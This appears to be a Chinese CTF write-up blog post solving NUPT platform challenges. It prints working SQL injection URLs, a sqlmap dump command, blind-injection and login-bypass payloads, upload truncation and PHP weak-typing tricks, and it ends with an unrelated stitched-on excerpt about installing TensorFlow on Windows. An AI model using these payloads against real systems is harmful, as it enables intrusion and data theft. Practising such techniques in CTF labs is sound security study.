此处只谈涉及字符串和数值的松散比较。根据本地实验结合官方文档,我们可以总结出来,这种类型转换的行为关键在于两点,一是判断字符串是否处于数字语境(in a numeric context),二是如何为处于数字语境的字符串取值。 ​ 当操作符为==时,若有一个操作数为int/float或两个操作数is_numeric()均为真,则判断为处于数字语境;当操作符为数字操作符,如+-/*时,则判断为处于数字语境。(此段为实验支持下的个人猜测,未找到依据。) ​ 根据PHP官方文档 ,如果一个字符串被认定处于数字语境,那么它的取值取决于字符串的前面一部分,如果字符串以有效的数字型数据【Valid numeric data ,正则匹配表达为 \s(\d+\.?\d*|\.\d+)([eE]\d+)?\s,含有[eE]的视为科学计数法】开头,那么字符串取开头部分的数值,否则取0 。实验发现1e也被取值为1而不是0,这有点奇怪 :( <?php $a1=1; $b1="1"; $c1="1padding"; $a2=.1; $b2=".1"; $c2=".1padding"; $a3=1.; $b3="1."; $c3="1.padding"; $a4=1.1; $b4="1.1"; $c4="1.1padding"; $a5=1.e1; $b5="1.e1"; $c5="1.e1padding"; $a6=.1e1; $b6=".1e1"; $c6=".1e1padding"; $a7=1.1e1; $b7="1.1e1"; $c7="1.1e1padding"; $a8=1e1; $b8="1e1"; $c8="1e1padding"; var_dump($a8==$b8);//true var_dump($a8==$c8);//true var_dump($b8==$c8);//false var_dump($a8+$b8);//float(20) var_dump($a8+$c8);//float(20) var_dump($b8+$c8);//float(20) 4、其他符合/0[eE]\d{30}/的MD5值: string(strlen($var)) $var string(strlen(md5($var))) md5($var) QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s532378020a 0e220463095855511507588041205815 240610708 0e462097431906509019562988736854 签到2 <html> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 尚未登录或口令错误 <form action="./index.php" method="post"> <p>输入框:<input type="password" value="" name="text1" maxlength="10"><br> 请输入口令:zhimakaimen <input type="submit" value="开门"> </form> </html> nctf{follow_me_to_exploit} maxlength="10" 而口令 zhimakaimen 有11位,数据在前端就会被截断掉。这时有两种做法,一种是在chrome/Firefox浏览器的开发者工具中将 maxlength="10" 字段修改为 maxlength="11" 或是更大的值;另一种是使用hackbar或burp直接向 http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php post text1=zhimakaimen 。客户端的行为都是可控的,所以熟悉HTML和JavaScript是重要的。 这题不是WEB nctf{photo_can_also_hid3_msg} 下载图片并用winhex打开,在末尾发现字符串。一个简单的隐写。 层层递进 nctf{this_is_a_fl4g} 查看源代码,跟随链接,依次访问SO.html -> S0.html->SO.htm ->S0.htm->404.html ,在最后一个页面里的注释部分可找到flag。还是查看源代码,细心就会发现异常。 AAencode nctf{javascript_aaencode} aaencode是一种把js代码编码成日语颜文字的编码方式,使用Unicode编码查看,然后 在线解码 。工具作者颇有幽默感。 单身二十年 nctf{yougotit_script_now} 访问 http://chinalover.sinaapp.com/web8/search_key.php 会被重定向到 http://chinalover.sinaapp.com/web8/no_key_is_here_forever.php ,重定向会被浏览器自动处理,burp抓包则可见flag。 你从哪里来 你是从 google 来的吗? 传送门:题目地址 nctf{http_referer} 给请求加上referer: https://www.google.com即可。从https://github.com/otakekumi/NUPT_Challenges/blob/master/WEB/%E4%BD%A0%E4%BB%8E%E5%93%AA%E9%87%8C%E6%9D%A5/index.php 看到源代码可能有点问题。 <?php $referer = $_SERVER['referer']; if ($referer === "https://www.google.com/ " || $referer === "https://www.google.com"){ echo "nctf{http_referer}"; }else{ echo "are you from google?"; } ?> 第二行应该是$referer = $_SERVER['HTTP_REFERER']; ? php decode <?php function CLsI($ZzvSWE) { $ZzvSWE = gzinflate(base64_decode($ZzvSWE)); for ($i = 0; $i < strlen($ZzvSWE); $i++) { $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1); } return $ZzvSWE;} echo CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="); nctf{gzip_base64_hhhhhh} 运行代码即可。 文件包含 nctf{edulcni_elif_lacol_si_siht} 使用PHP的filter协议读取index.php,即访问 http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/convert.base64-encode/resource=index.php ,将得到的字符串base64解码。 单身一百年也没用 nctf{this_is302redirect} flag藏在响应头中。 Download~! nctf{download_any_file_666} 访问 http://way.nuptzj.cn/web6/download.php?url=base64-of-file-name 可以下载允许下载的任意文件,所以先下载download.php,得到白名单列表里有hereiskey.php,再下载下来就可见flag。 COOKIE nctf{cookie_is_different_from_session} 看到响应头中有Set-Cookie: Login=0,因此在请求头加入Cookie: Login=1即可。 MYSQL nctf{query_in_mysql} 根据提示查看robots.txt,内容如下 TIP:sql.php <?php if($_GET[id]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $id = intval($_GET[id]); $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'")); if ($_GET[id]==1024) { echo "<p>no! try again</p>"; } else{ echo($query[content]); } } ?> 说明要向sql.php提交一个id,使得intval($_GET[id])为1024而$_GET[id]==1024为假。intval识别到非数字的那一位,而松散比较前的强制类型转换会把e当作科学计数法的一部分处理,所以可以提交id=1024e1等,如访问http://chinalover.sinaapp.com/web11/sql.php?id=1024e1。 1、robots.txt可能藏有提示 2、int intval ( mixed $var [, int $base = 10 ] )只取/\d*/的部分。 sql injection 3 nctf{gbk_3sqli} 分别访问id=2和id=3得到提示gbk_sql_injection和the fourth table,所以是存在宽字节注入,flag在第四个表里面。上sqlmap跑一跑,最后一步是这样: python sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d6'" -T ctf4 -C flag --dump 也可以手注: 步骤一:确认该点存在注入 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2 和 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6%27--+ 返回结果相同。 由于MySQL执行查询时会跳过畸形字符,而 id=2%d6%27--+ 经过转义变为id=2%d6%5c%27--+ , 其中%d6%5c被合在一起解释,也就是id = '2Ö'-- 效果等价于 id = '2'--,但我们获得了执行sql的机会。 步骤二:查询数据库名 发现支持union查询 , http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6%27+and+0+union+select+null,database()--+ ,之所以要加and+0+是因为显示点只有一处,必须让原来的查询失败。得到数据库名为'sae-chinalover'。 步骤三:查询名为'sae-chinalover'的数据库的表的数量和名字 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6'+and+0+union+select+null,count(*)+from+information_schema.tables+where+table_schema=database()--+ 得到目前的数据库含有5张表 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6'+and+0+union+select+null,table_name+from+information_schema.tables+where+table_schema=database()+limit+3,1--+ 得到第四张表表名为'ctf4' MySQL的information_schema数据库包含所有数据库的元信息,其中的tables表包含其他数据库的数据库名、表名、表类型、创建时间等许多信息,其中table_schema列为数据库名,table_name列为表名。因为能显示出来的记录有限,所以必须用limit来控制要显示第几条记录,否则只能显示第一条。 limit用法是这样LIMIT {[offset,] row_count | row_count OFFSET offset},必须放在where后面。 步骤四:查询表'ctf4'中的flag http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6'+and+0+union+select+null,count(*)+from+ctf4--+ 发现该表只有一条记录 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6'+and+0+union+select+null,flag+from+ctf4--+ 猜测列名为flag,查询得到flag 附一个select查询语法 SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROM table_references [PARTITION partition_list] [WHERE where_condition] [GROUP BY {col_name | expr | position} [ASC | DESC], ... [WITH ROLLUP]] [HAVING where_condition] [ORDER BY {col_name | expr | position} [ASC | DESC], ...] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] [INTO OUTFILE 'file_name' [CHARACTER SET charset_name] export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]] [FOR UPDATE | LOCK IN SHARE MODE]] /x00 nctf{use00to_jieduan} 访问得到源码 if (isset ($_GET['nctf'])) { if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) echo '必须输入数字才行'; else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '骚年,继续努力吧啊~'; } 要求提交的nctf的值符合正则匹配(一个或多个数字)并且能被strpos找到#biubiubiu ,根据提示查到资料ereg会把null视为字符串的结束,从而被%00截断,而strpos则可以越过%00,所以提交nctf=1%00%23biubiubiu即可。 参考资料 由于在PHP中string的实现本质上是一个以字节为单位的数组加上一个声明缓冲区长度的整形,因此string类型可以由任何值构成,即使是“NUL bytes”,但PHP中有些底层库(比如C语言相关的,因为C语言中\0标识字符串的结束)会忽略"a NUL byte"后面的数据,使用了这些库的函数就是非二进制安全的(non-binary-safe),ereg就是一个例子。闲着无聊搜了一下发现还有这么一些函数: int strcoll ( string $str1 , string $str2 ) Locale based string comparison (when current locale is not C or POSIX) public array TokyoTyrantTable::get ( mixed $keys ) Gets a row from table database. (version>0.3.0) public Exception::__construct ([ string $message = "" [, int $code = 0 [, Throwable $previous = NULL ]]] ) Construct the exception 。其中对message的处理是非二进制安全的。 public Error::__construct ([ string $message = "" [, int $code = 0 [, Throwable $previous = NULL ]]] ) Construct the error object 。其中对message的处理是非二进制安全的。 bool error_log ( string $message [, int $message_type = 0 [, string $destination [, string $extra_headers ]]] ) Sends an error message to the web server's error log or to a file.。其中对message的处理是非二进制安全的。(error_log() is not binary safe. message will be truncated by null character.) bool radius_put_string ( resource $radius_handle , int $type , string $value [, int $options = 0 [, int $tag ]] ) Attaches a string attribute。 其中$value值基于会被null截断的底层库,是非二进制安全的。 bool radius_put_vendor_string ( resource $radius_handle , int $vendor , int $type , string $value [, int $options = 0 [, int $tag ]] ) Attaches a vendor specific string attribute 。$value是非二进制安全的。 string addcslashes ( string $str , string $charlist ) (存疑,似乎并不是) Quote string with slashes in a C style. Returns a string with backslashes before characters that are listed in charlist parameter. array gzfile ( string $filename [, int $use_include_path = 0 ] ) (存疑,待验证) Read entire gz-file into an array 还有这些 <?php $s=$_REQUEST['a']; // http://localhost/test.php?a=asd%00asdf $p='asdf'; var_dump(ereg_replace($p,'abcc',$s)); //string(3) "asd" var_dump(eregi_replace($p,'abcc',$s));//string(3) "asd" var_dump(ereg($p,$s));//bool(false) var_dump(eregi($p,$s));//bool(false) var_dump(split($p,$s));//array(1) { [0]=> string(8) "asd\0asdf" } var_dump(split($p,$s));//array(1) { [0]=> string(8) "asd\0asdf" } var_dump(sql_regcase($s)); //看起来没问题啊。。。string(29) "[Aa][Ss][Dd]\0[Aa][Ss][Dd][Ff]" // ereg_replace — Replace regular expression // ereg — Regular expression match // eregi_replace — Replace regular expression case insensitive // eregi — Case insensitive regular expression match // split — Split string into array by regular expression // spliti — Split string into array by regular expression case insensitive // sql_regcase — Make regular expression for case insensitive match bypass again nctf{php_is_so_cool} 访问得到源码 if (isset($_GET['a']) and isset($_GET['b'])) { if ($_GET['a'] != $_GET['b']) if (md5($_GET['a']) === md5($_GET['b'])) die('Flag: '.$flag); else print 'Wrong.'; } 源码要求提交两个不相等的值使他们的md5值严格相等。md5()函数要求接收一个字符串,若传递进去一个数组,则会返回null,即var_dump(md5(array(2))===null);值为bool(true) ,因此向$_GET数组传入两个名为a、b的不相等的数组,从而导致md5()均返回空,于是得到flag,如访问 http://chinalover.sinaapp.com/web17/index.php?a[]=&b[]=1 变量覆盖 nctf{bian_liang_fu_gai!} source.php核心代码如下 <?php if ($_SERVER["REQUEST_METHOD"] == "POST") { extract($_POST); if ($pass == $thepassword_123) echo $theflag; } extract()函数原型为int extract(array &$var_array [,int $extract_type=EXTR_OVERWRITE [,string $prefix = NULL]]) ,从数组中将变量导入当前符号表,$extract_type缺省值为1,若没有另外指定,函数将覆盖已有变量,故传入任意pass和与之相等的thepassword_123即可。其实我们甚至可以覆盖theflag变量,但是那样就拿不到真正的flag了 :D。source.php包含源码。 PHP是世界上最好的语言 nctf{php_is_best_language} index.txt核心代码如下 <?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: *****************} </p>"; } 网页会拒绝任何含有hackerDJ的提交(忽略大小写),但接受urldecode后为hackerDJ的字符串,所以按照对照表编码,并将%编码为%25后提交,自动解码一次后%25变为%,代码中再解码一次后便得到flag。即访问 http://way.nuptzj.cn/php/index.php?id=%2568%2561%2563%256b%2565%2572%2544%254a 这是个二次编码的问题。 伪装者 这是一个到处都有着伪装的世界 题目地址:点我 nctf{happy_http_headers} referer改了没用,据说请求头添加X-Forwarded-For: 127.0.0.1即可,没有成功,怀疑服务端代码有问题,可能是和你从哪里来那题一样的问题。XFF头用以标志客户端真实IP,常用在使用HTTP 代理或者负载均衡服务时。 header nctf{tips_often_hide_here} 使用chrome浏览器的开发者工具可以看到相应数据包的头部有flag字段,其值即flag。 上传绕过 题目地址:猜猜代码怎么写的 nctf{welcome_to_hacks_world} 当filename为1.jpg时返回如下: Array ( [0] => .jpg [1] => jpg ) Upload: 1.jpg<br />Type: text/plain<br />Size: 0.0078125 Kb<br />Stored in: ./uploads/8a9e5f6a7a789acb.phparray(4) { ["dirname"]=> string(9) "./uploads" ["basename"]=> string(5) "1.jpg" ["extension"]=> string(3) "jpg" ["filename"]=> string(1) "1" } <br>必须上传成后缀名为php的文件才行啊!<br></body> 当filename为1.php时返回如下: Array ( [0] => .php [1] => php ) 不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件 观察源码为: 文件上传<br><br> <form action="upload.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="hidden" name="dir" value="/uploads/" /> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> 因为最后应该是dir和file连接,所以可以通过修改隐藏元素dir的value来实现截断上传。即抓包后修改 /uploads/为/uploads/1.php0x00,然后file保持1.jpg,连起来后就是/uploads/1.php%001.jpg,则既绕过了白名单验证又上传了PHP后缀的文件。(0x00是指修改16进制值,不可见。) sql注入1 听说你也会注入? 地址: 题目地址 nctf{ni_ye_hui_sql?} 在 http://chinalover.sinaapp.com/index.phps 查看源码,核心部分如下: <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = trim($_POST[user]); $pass = md5(trim($_POST[pass])); $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; echo '</br>'.$sql; $query = mysql_fetch_array(mysql_query($sql)); if($query[user]=="admin") { echo "<p>Logged in! flag:******************** </p>"; } if($query[user] != "admin") { echo("<p>You are not admin!</p>"); } } echo $query[user]; 会对传入参数两端去空格,然后sql拼接如下 $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; , 所以只要用构造一下user的值,使语法无误,然后注释掉后面的即可。MySQL主要有三种注释方式#注释到行尾,/*bla*/用于行间或多行注释,--也是注释到行尾,但需要注意的是在两个减号后面至少要有一个\s,也就是空格,TAB,换行符等。 所以本题可post user=admin')-- -&pass=123或user=admin')#&pass=123, sql语句就变成select user from ctf where (user='admin')#' and (pw='123'), 查询语句就能成功返回user列,值为admin的那条记录。 pass check nctf{strcmp_is_n0t_3afe} <?php $pass=@$_POST['pass']; $pass1=***********;//被隐藏起来的密码 if(isset($pass)) { if(@!strcmp($pass,$pass1)){ echo "flag:nctf{*}"; }else{ echo "the pass is wrong!"; } }else{ echo "please input pass!"; } ?> 考察PHP弱类型,从PHP社区文档的注解可以发现strcmp函数在比较失败,即传入数组,时会返回null。(还有一个比较有意思的是当有一个字符串长度为0时,返回的是相互比较的两个字符串长度的差值。)所以post的数据为pass[]= 起名字真难 nctf{follow_your_dream} <?php function noother_says_correct($number) { $one = ord('1'); $nine = ord('9'); for ($i = 0; $i < strlen($number); $i++) { $digit = ord($number{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { return false; } } return $number == '54975581388'; } $flag='*******'; if(noother_says_correct($_GET['key'])) echo $flag; else echo 'access denied'; ?> 要求传入key不包含[1-9],但又等于54975581388,考虑转十六进制,发现54975581388=0xccccccccc, 因此访问 http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc 密码重置 重置管理员账号:admin 的密码 你在点击忘记密码之后 你的邮箱收到了这么一封重置密码的邮件: 点击此链接重置您的密码 nctf{reset_password_often_have_vuln 修改重置链接的URL和POST中对应参数为admin相关的即可。 即向 http://nctf.nuptzj.cn/web13/index.php?user1=YWRtaW4%3D post user=admin&newpass=aaaaa&vcode=1234 。 php反序列化 <?php class just4fun { var $enter; var $secret; } if (isset($_GET['pass'])) { $pass = $_GET['pass']; if(get_magic_quotes_gpc()){ $pass=stripslashes($pass); } $o = unserialize($pass); if ($o) { $o->secret = "*"; if ($o->secret === $o->enter) echo "Congratulation! Here is my secret: ".$o->secret; else echo "Oh no... You can't fool me"; } else echo "are you trolling?"; } 链接失效,本地搭建环境实验。反序列化后的secret成员被赋予未知的值却要求另一成员enter其值与之相同, 从官方文档看到这么一句 Circular references inside the array/object you are serializing will also be stored, 说明对象包含的引用在序列化时也会被存储,所以如果enter指向secret的引用,两个成员的值就可以同步变化了。 <?php class just4fun{ var $secret; var $enter ; } $f=new just4fun(); $f->enter=&$f->secret; $sf=serialize($f); print_r($sf); $usf=unserialize($sf); echo '<br/>'; print_r($usf); 输出如下 O:8:"just4fun":2:{s:6:"secret";N;s:5:"enter";R:2;} just4fun Object ( [secret] => [enter] => ) 访问 http://127.0.0.1/nanyou.php?pass=O:8:%22just4fun%22:2:{s:6:%22secret%22;N;s:5:%22enter%22;R:2;} 验证成功。 别处看到flag为nctf{serialize_and_unserialize} sql injection4 继续注入吧~题目地址 TIP:反斜杠可以用来转义 仔细查看相关函数的用法 nctf{sql_injection_is_interesting} 页面源代码注释中有SQL构造方式: #GOAL: login as admin,then get the flag; error_reporting(0); require 'db.inc.php'; function clean($str){ if(get_magic_quotes_gpc()){ $str=stripslashes($str); } return htmlentities($str, ENT_QUOTES); } $username = @clean((string)$_GET['username']); $password = @clean((string)$_GET['password']); $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; $result=mysql_query($query); if(!$result || mysql_num_rows($result) < 1){ die('Invalid password!'); } echo $flag; 核心函数是htmlentities($str, ENT_QUOTES) ,函数原型是这样 string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] ) 参数flags缺省情况下与$flags=ENT_QUOTES情况下函数行为不同, 选值为ENT_QUOTES时Will convert both double and single quotes, 也就是说,前者不会将单引号编码而后者会。我们的最终目标是平衡引号,从而使查询语句语法正确,既然无法输入单引号,就消灭单引号。 访问http://chinalover.sinaapp.com/web15/index.php?username=\&password=%20or%201%23, 也就是构造payload为?username=\&password=%20or%201%23 ,使得查询语句如下: SELECT * FROM users WHERE name='\' AND pass='%20or%201%23' 即 SELECT * FROM users WHERE name='\' AND pass=' 『 [name]的值为 [' AND pass=] ,显然逻辑值为false 』 or 1 『 但没关系,[false or 1] 的逻辑值为真』 #' 『 注释掉多余的单引号 』 即 select * from users where false or 1 附: ​ 具体编码方式可使用 print_r(get_html_translation_table($table =HTML_ENTITIES,$flags=ENT_QUOTES))查看, ENT_COMPAT | ENT_HTML401 ENT_QUOTES [&] => &amp; [&] => &amp; ["] => &quot; ["] => &quot; [<] => &lt; ['] => &#039; [>] => &gt; [<] => &lt; ... [>] => &gt; 共100个 共101个 综合题 nctf{bash_history_means_what} 1、访问链接得到一大段jsfuck代码,解码后得到document.write("1bc29b36f623ba82aaf6724fd3b16718.php") ; 2、访问 http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php 在HTTP响应头得到提示tip:history of bash; 3、访问 http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history ,看到页面内容为zip -r flagbak.zip ./* ; 4、访问 http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip 得到flag。 sql 注入2 注入第二题~~主要考察union查询 传送门:点我带你飞 ntcf{union_select_is_wtf} index/phps中有源码如下 <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = $_POST[user]; $pass = md5($_POST[pass]); $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'")); if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { echo "<p>Logged in! Key: ntcf{**************} </p>"; } else { echo("<p>Log in failure!</p>"); } } ?> 因为 var_dump(!strcasecmp(array(), $query[pw]));//bool(true) var_dump(!strcasecmp(md5(array()), $query[pw]));//bool(false) 所以没法用把pass作为数组传进去的伎俩。另外虽然第七行的$user处存在注入,但输出没有回显。想到基于时间延迟的盲注。主要用到三个函数,mid(),if()和sleep(): MID(str,pos,len) /*需注意pos从1而不是0开始,Return a substring starting from the specified position*/ IF(expr1,expr2,expr3) /*If expr1 is TRUE (expr1 <> 0 and expr1 <> NULL), IF() returns expr2. Otherwise, it returns expr3.*/ SLEEP(duration) /*Sleeps (pauses) for the number of seconds given by the duration argument, then returns 0.If SLEEP() is interrupted, it returns 1. The duration may have a fractional part.*/ 所以构造post数据 user=admin' and if(mid(pw,1,1)>'9',sleep(2),1)#&pass=blabla 如果if()函数的expr1正确,页面响应就会延时两秒,否则不会,以此为依据采用二分法调整。 pw字段的取值范围为/[\da-e]/, 最后注处字段值为21dd715a3605b2a4053e80387116c190,即md5('njupt') 然后postuser=admin&pass=njupt即可。 index.phps藏源码。 查到另一种简单的做法,即post如下数据 user=' union select '45cf93bd4f762c6597b68e615b153bd0'#&pass=findneo 其中'45cf93bd4f762c6597b68e615b153bd0'即md5('findneo') 这才是出题者的本意。我觉得这个做法很妙,看似理所当然的代码逻辑实际上不堪一击。 综合题2 非xss题 但是欢迎留言~ 地址:get the flag flag:nctf{you_are_s0_g00d_hacker} 详见南邮CTF平台综合题2writeup 注入实战一 请使用firefox浏览器,并安装hackbar插件(自行百度并熟悉) 目标网址:地址 flag为管理员密码的32位md5(小写) 并且加上nctf{} 手注教程群里面发过。 看不懂的话自行百度"mysql手动注入"查阅相关文章 PS:用sqlmap等工具做的就不要厚脸皮提交了 题目貌似坏了,放个 4ct10n 的解答吧。 密码就在上图BSCmarketing24 然后再md5加密成 f3d6cc916d0739d853e50bc92911dddb flag: nctf{f3d6cc916d0739d853e50bc92911dddb} 密码重置2 题题被秒,当时我就不乐意了! 本题来源于CUMT题目链接 TIPS: 1.管理员邮箱观察一下就可以找到 2.linux下一般使用vi编辑器,并且异常退出会留下备份文件 3.弱类型bypass nctf{thanks_to_cumt_bxs} 1、按照提示,源码中看到管理员邮箱为admin@nuptzj.cn ; 2、wget http://nctf.nuptzj.cn/web14/.submit.php.swp ; 3、 if(!empty($token)&&!empty($emailAddress)){ if(strlen($token)!=10) die('fail'); if($token!='0') die('fail'); $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'"; $r = mysql_query($sql) or die('db error'); $r = mysql_fetch_assoc($r); $r = $r['num']; if($r>0){ echo $flag; }else{ echo "失败了呀"; } } 要求token长度为10且token!='0'为假,可利用弱类型(含有数字内容的字符串也会被转换类型,所以'0e123'=='0'值为真)绕过,访问 http://nctf.nuptzj.cn/web14/submit.php?emailAddress=admin%40nuptzj.cn&token=0e12345678 即可。 MISC 图种 flag是动态图最后一句话的拼音首字母 加上nctf{} nctf{dssdcmlw} binwalk -e 555.gif分离出一张233333.gif,动态图的最后一帧的最后一句话是 都深深的出卖了我 丘比龙De女神 丘比龙是丘比特的弟弟,由于吃了太多的甜甜圈导致他飞不动了! 没错 里面隐藏了一张女神的照片 flag是照片文件的md5值(小写) 记住加上flag{} 文件尾有nvshen.jpg字样,故搜索字符串nvshen,共出现两次,猜测从第一次出现位置上方的love起到文件末尾为一个密码为love的压缩包,复制出来后修改6C6F7665 为504b0304 ,解压得到女神的照片。 flag{a6caad3aaafa11b6d5ed583bef4d8a54} 密码学 easy! 密文:bmN0Znt0aGlzX2lzX2Jhc2U2NF9lbmNvZGV9 这题做不出来就剁手吧! nctf{this_is_base64_encode} 在Linux命令行输入echo bmN0Znt0aGlzX2lzX2Jhc2U2NF9lbmNvZGV9 | base64 -d即可 keyboard 看键盘看键盘看键盘! 答案非标准格式,提交前加上nctf{} ytfvbhn tgbgy hjuygbn yhnmki tgvhn uygbnjm uygbn yhnijm 观察题干字符串在键盘上的位置构成的轨迹。 nctf{areuhack} base64全家桶 全家桶全家桶全家桶! 我怎么饿了。。。。。。 密文(解密前删除回车): R1pDVE1NWlhHUTNETU4yQ0dZWkRNTUpYR00zREtNWldHTTJES 1JSV0dJM0RDTlpUR1kyVEdNWlRHSTJVTU5SUkdaQ1RNTkJWSVk zREVOUlJHNFpUTU5KVEdFWlRNTjJF 按base64、base32、base16的顺序解码一遍即可。 nctf{base64 _ base32_and_base16} n次base64 import base64 as b s='**' while 1: s=b.b64decode(s) print s nctf{please_use_python_to_decode_base64} 骚年来一发吗 密文:iEJqak3pjIaZ0NzLiITLwWTqzqGAtW2oyOTq1A3pzqas function encode($str){ $_o=strrev($str); for($_0=0;$_0<strlrn($_o),$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c)+1; $_c=chr($__); $_=$_.$_c; } return str_rot13(strrev(base64_encode($_))); } encode函数先反转明文字符串,再逐字符加一,然后base64编码,再反转,再rot13,然后返回加密后的字符串。 <?php $s="iEJqak3pjIaZ0NzLiITLwWTqzqGAtW2oyOTq1A3pzqas"; function decode($str){ $strtmp=base64_decode(strrev(str_rot13($str))); $res=''; for($i=0;$i<strlen($strtmp);$i++){ $res.=chr(ord(substr($strtmp, $i,1))-1); } return strrev($res); } echo decode($s); nctf{rot13and_base64and_strrev} mixed base64 多重base64加密,干(sang)得(xin)漂(bing)亮(kuang)! import random from base64 import * result={ '16':lambda x:b16encode(x), '32':lambda x:b32encode(x), '64':lambda x:b64encode(x) } flag=b"{nctf{***}" for i in range(10): a=random.choice(['16','32','64']) flag=result[a](flag) with open("code.txt",'wb')as f: f.write(flag) 解码代码: from base64 import b64decode, b32decode, b16decode with open('code.txt', 'r') as f: c = f.read() def trys(s): for f in [b64decode, b32decode, b16decode]: try: t = f(s) if t[:4] == "nctf": print t return 0 else: trys(t) except: pass trys(c) nctf{random_mixed_base64_encode} 异性相吸 同性真爱,异性相吸都是假的! (题目要求,我是直的) 解密压缩文件里的内容 TIPS: 1.xor 2.hex2binary 3.len(bin(miwen))==len(bin(mingwen)) c=open('密文.txt').read() p=open('明文.txt').read() s='' for i in range(len(c)): s+=chr(ord(c[i])^ord(p[i])) print s nctf{xor_xor_xor_biubiubiu} MD5 python大法好! 这里有一段丢失的md5密文 e9032???da???08????911513?0???a2 要求你还原出他并且加上nctf{}提交 已知线索 明文为: TASC?O3RJMV?WDJKX?ZM 题目来源:安恒杯 import hashlib pool = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' s0 = 'TASC?O3RJMV?WDJKX?ZM' ss = s0.split('?') m = 'e9032???da???08????911513?0???a2' for i in pool: for j in pool: for k in pool: s = ss[0] + i + ss[1] + j + ss[2] + k + ss[3] if hashlib.md5(s).hexdigest()[:5] == m[:5]: print s, hashlib.md5(s).hexdigest() break nctf{e9032994dabac08080091151380478a2} 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。 作者: 落花四月 出处: https://www.cnblogs.com/lxz-1263030049/ 关于作者:潜心于网络安全学习。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接. 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是作者坚持原创和持续写作的最大动力!

优秀的个人博客,低调大师

在Win10上安装支持GPU训练的Tensorflow

在前面的文章中,我展示了如何测试你的Linux系统,看看你是否有支持TensorFlow的GPU,并在当时承诺接下来介绍Windows和MacOS的相关知识。因此,在本文中,我讲介绍如何测试支持GPU的Windows系统,如果你有这方面的需求,可以在获得TensorFlow的构建并确保其正常工作,本文会介绍安装和配置所需的驱动程序。 但在你进一步研究学习之前,你还需要了解一下Python pip,而这些通常不会在Windows的机器上出现。 1.获取Python和Pip 有很多方法可以安装Windows版的Python和pip,但是我发现最简单的方法是到Python站点下载可执行文件安装程序。 一旦你下载了它,启动它,并确保选择安装的自定义选项。这会将你带入一个配置对话框,你可以选择pip该对话框作为安装选项。 我建议你只选择他们。 完成安装

资源下载

更多资源
Mario

Mario

